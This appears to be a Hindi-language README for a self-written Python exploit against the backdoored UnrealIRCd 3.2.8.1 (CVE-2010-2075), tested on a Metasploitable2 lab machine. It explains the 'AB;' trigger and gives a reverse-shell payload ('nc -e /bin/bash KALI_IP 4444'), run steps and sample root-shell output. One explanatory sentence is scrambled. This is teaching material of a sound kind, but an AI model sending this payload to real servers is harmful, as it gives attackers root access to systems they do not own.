UnrealIRCd 3.2.8.1 बैकडोर एक्सप्लॉइट — AB के माध्यम से रिवर्स शेल; ट्रिगर, Python में raw sockets का उपयोग करके शुरू से बनाया गया। कोई Metasploit नहीं।
UnrealIRCd एक ओपन-सोर्स IRC (Internet Relay Chat) सर्वर है — एक प्रोटोकॉल जो उपयोगकर्ताओं को नेटवर्क पर वास्तविक समय में संवाद करने की अनुमति देता है, जो शुरुआती चैट प्लेटफ़ॉर्म के समान है।
2009–2010 में, यह पता चला कि आधिकारिक डाउनलोड मिरर के माध्यम से वितरित UnrealIRCd 3.2.8.1 से छेड़छाड़ की गई थी। एक हमलावर ने वैध स्रोत कोड को एक बैकडोर्ड संस्करण से बदल दिया था जिसमें एक छिपा हुआ कमांड निष्पादन ट्रिगर था।
यह एक सप्लाई चेन अटैक था — प्रकृति में CVE-2011-2523 (vsftpd 2.3.4) के समान। उपयोगकर्ताओं द्वारा डाउनलोड करने से पहले वैध सॉफ़्टवेयर को दुर्भावनापूर्ण रूप से संशोधित संस्करण से बदल दिया गया था।
बैकडोर पोर्ट 6667 पर सभी आने वाले डेटा की निगरानी करता है। यदि कोई भी इनपुट
स्ट्रिंग AB; से शुरू होता है, तो उसके बाद का सब कुछ — सभी IRC लॉजिक, प्रमाणीकरण, और पंजीकरण जाँचों को
पूरी तरह से बायपास करते हुए।
system() को
पास कर दिया जाता हैट्रिगर कनेक्शन आरंभीकरण चरण के दौरान सक्रिय होता है, इससे पहले कि IRC सर्वर क्लाइंट को पंजीकृत भी करे। कोई NICK नहीं, कोई USER नहीं, कोई प्रमाणीकरण आवश्यक नहीं।
हमला प्रवाह:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
यह एक्सप्लॉइट एक रिवर्स शेल का उपयोग करता है — लक्ष्य हमलावर से वापस कनेक्ट करता है, बजाय इसके कि हमलावर लक्ष्य पर किसी पोर्ट से कनेक्ट करे।
| प्रकार | दिशा | उपयोग में |
|---|---|---|
| बाइंड शेल | हमलावर → लक्ष्य | CVE-2011-2523 (vsftpd) |
| रिवर्स शेल | लक्ष्य → हमलावर | CVE-2010-2075 (UnrealIRCd) |
रिवर्स शेल इनबाउंड फ़ायरवॉल नियमों को बायपास करते हैं — लक्ष्य से आउटबाउंड कनेक्शन शायद ही कभी अवरुद्ध होते हैं।
netcat स्थापित (Metasploitable2 पर डिफ़ॉल्ट रूप से मौजूद)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
main.py को संपादित करें और सेट करें:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
चलाएँ:
python3 main.py
उदाहरण आउटपुट:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| परिदृश्य | व्यवहार |
|---|---|
| पोर्ट 6667 बंद | "Port Closed" प्रिंट करता है, साफ़-सुथरे ढंग से बाहर निकलता है |
| गलत संस्करण | "Not vulnerable" प्रिंट करता है, साफ़-सुथरे ढंग से बाहर निकलता है |
| लक्ष्य कॉलबैक नहीं करता | listener.accept() प्रतीक्षा करता है (आवश्यकता होने पर टाइमआउट जोड़ें) |
| कमांड कोई आउटपुट नहीं देता | recv() चुपचाप टाइमआउट हो जाता है, प्रॉम्प्ट पर लौट आता है |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| प्रोटोकॉल | FTP (पोर्ट 21) | IRC (पोर्ट 6667) |
| ट्रिगर | उपयोगकर्ता नाम में :) | किसी भी इनपुट पर AB; प्रीफ़िक्स |
| शेल प्रकार | बाइंड शेल (पोर्ट 6200) | रिवर्स शेल (हमलावर का पोर्ट) |
| कनेक्शन | 2 आउटगोइंग | 1 आउटगोइंग + 1 इनकमिंग |
यह एक्सप्लॉइट कड़ाई से शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए विकसित किया गया है।
पूरी तरह से पृथक लैब वातावरण में एक स्थानीय Metasploitable2 वर्चुअल मशीन के विरुद्ध विशेष रूप से बनाया और परीक्षण किया गया।
इसका उपयोग किसी भी ऐसे सिस्टम के विरुद्ध न करें जिसका आप स्वामी न हों या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति न हो। अनधिकृत उपयोग Computer Fraud and Abuse Act (CFAA) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है।
लेखक इस कोड के दुरुपयोग की कोई जिम्मेदारी स्वीकार नहीं करता।
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub